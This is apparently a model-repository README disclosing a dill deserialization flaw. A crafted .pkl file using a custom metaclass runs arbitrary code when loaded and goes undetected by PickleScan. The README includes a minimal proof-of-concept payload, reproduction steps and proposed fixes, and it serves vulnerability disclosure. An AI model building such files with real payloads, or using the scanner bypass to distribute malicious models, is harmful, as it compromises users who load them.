You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

dill ACE via Metaclass + PickleScan Bypass

Severity: High CWE-502 PickleScan: BYPASSED ACE at load time

Summary

Loading a crafted .pkl model file serialized with dill triggers arbitrary code execution at dill.loads() time. The payload fully bypasses PickleScan 1.0.4 β€” the industry-standard pickle scanner reports infected_files=0, issues_count=0.

Target Info

Field Value
Library dill (uqfoundation/dill)
Versions 0.3.8 (PyPI) and 0.4.2.dev0 (git HEAD)
CWE CWE-502: Deserialization of Untrusted Data
CVSS 8.8 High β€” AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
PickleScan result infected=0, issues=0 (complete false negative)
Trigger dill.load(malicious_model.pkl) β€” single API call

Root Cause

When dill serializes a class with a custom metaclass (using type.__new__() directly β€” no super()), the metaclass __new__ bytecode is embedded inside code object bytes in the pickle stream, not as a GLOBAL opcode. PickleScan only scans GLOBAL/STACK_GLOBAL opcodes and misses bytecode-embedded payloads.

Vulnerable code path: dill/_dill.py β†’ _create_type() β†’ typeobj(*args) β†’ EvilMeta.__new__() β†’ arbitrary code.

# Minimal payload (attacker creates this):
import dill, os

class EvilMeta(type):
    def __new__(mcs, name, bases, namespace):
        os.system('id')           # fires at victim's dill.loads() time
        return type.__new__(mcs, name, bases, namespace)  # no super() = no detection

class Payload(metaclass=EvilMeta): pass
dill.dump(Payload, open('malicious_model.pkl', 'wb'))

Why type.__new__() Instead of super() Matters

Implementation dill emits PickleScan sees Result
super().__new__(...) builtins.getattr GLOBAL Dangerous β€” DETECTED infected=1
type.__new__(mcs, ...) no getattr emitted only Suspicious globals infected=0

Reproduction

pip install dill picklescan

# Run full demo
python3 poc_dill.py

# Expected output:
# [2] Scanning... infected_files: 0, issues_count: 0 => BYPASS
# [4] ACE CONFIRMED: ACE_VIA_DILL_METACLASS

Expected vs Actual Output

[2] Scanning with PickleScan ...
    infected_files : 0          <-- EXPECTED: 1
    issues_count   : 0          <-- EXPECTED: >= 1
    => BYPASS: PickleScan reports CLEAN

[3] Victim calls dill.load('/tmp/malicious_model.pkl') ...
uid=1000(kali) gid=1000(kali) ...   <-- os.system('id') fires here
ERIC-GACHARA

[4] ACE CONFIRMED: ACE_VIA_DILL_METACLASS

Fix

PickleScan: Reclassify dill._dill._create_type and dill._dill._create_function from Suspicious to Dangerous. Any pickle containing these globals can reconstruct arbitrary Python types (including malicious metaclasses) with embedded bytecode.

dill: Add a visible security warning to dill.load() / dill.loads() documentation, similar to numpy's allow_pickle approach.

Files

File Description
poc_dill.py Standalone PoC β€” creates payload, scans, triggers ACE
report.md Full huntr report (copy-paste ready)
poc-evidence.html Styled terminal output evidence page
README.md This file
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support